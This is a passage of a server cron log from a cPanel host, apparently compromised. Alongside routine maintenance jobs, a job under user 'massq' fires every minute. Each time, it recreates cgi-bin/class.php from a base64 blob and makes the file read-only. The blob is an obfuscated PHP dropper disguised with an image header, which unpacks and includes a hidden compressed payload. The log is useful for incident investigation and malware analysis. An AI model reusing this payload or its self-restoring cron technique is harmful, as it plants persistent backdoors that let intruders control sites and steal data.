"$fp"; fi; chmod 444 "$fp")
Sep 11 16:32:01 server CROND[24899]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:32:01 server CROND[24900]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:32:01 server CROND[24901]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 16:33:01 server CROND[25267]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:33:01 server CROND[25268]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:33:01 server CROND[25269]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 16:34:01 server CROND[25631]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:34:01 server CROND[25632]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 16:34:01 server CROND[25634]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:35:01 server CROND[26108]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:35:01 server CROND[26111]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:35:01 server CROND[26114]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 16:35:01 server CROND[26113]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 16:35:01 server CROND[26112]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 16:35:01 server CROND[26109]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 16:35:01 server CROND[26115]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 16:35:01 server CROND[26110]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 11 16:35:01 server CROND[26117]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 16:36:01 server CROND[26957]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:36:01 server CROND[26958]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 16:36:01 server CROND[26959]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:37:01 server CROND[27323]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:37:01 server CROND[27324]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:37:01 server CROND[27325]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 16:38:01 server CROND[27689]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:38:01 server CROND[27690]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:38:01 server CROND[27691]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 16:39:01 server CROND[28060]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:39:01 server CROND[28061]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 16:39:01 server CROND[28062]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:39:01 server CROND[28064]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 16:40:01 server CROND[28550]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 16:40:01 server CROND[28552]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 16:40:01 server CROND[28553]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:40:01 server CROND[28555]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:40:01 server CROND[28557]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 16:40:01 server CROND[28556]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 16:40:01 server CROND[28554]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 16:40:01 server CROND[28559]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 16:41:01 server CROND[29384]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:41:01 server CROND[29385]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:41:01 server CROND[29383]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 16:42:01 server CROND[29762]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 16:42:01 server CROND[29763]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 16:42:01 server CROND[29765]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:42:01 server CROND[29764]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:43:01 server CROND[30144]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:43:01 server CROND[30145]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 16:43:01 server CROND[30146]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:44:01 server CROND[30536]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
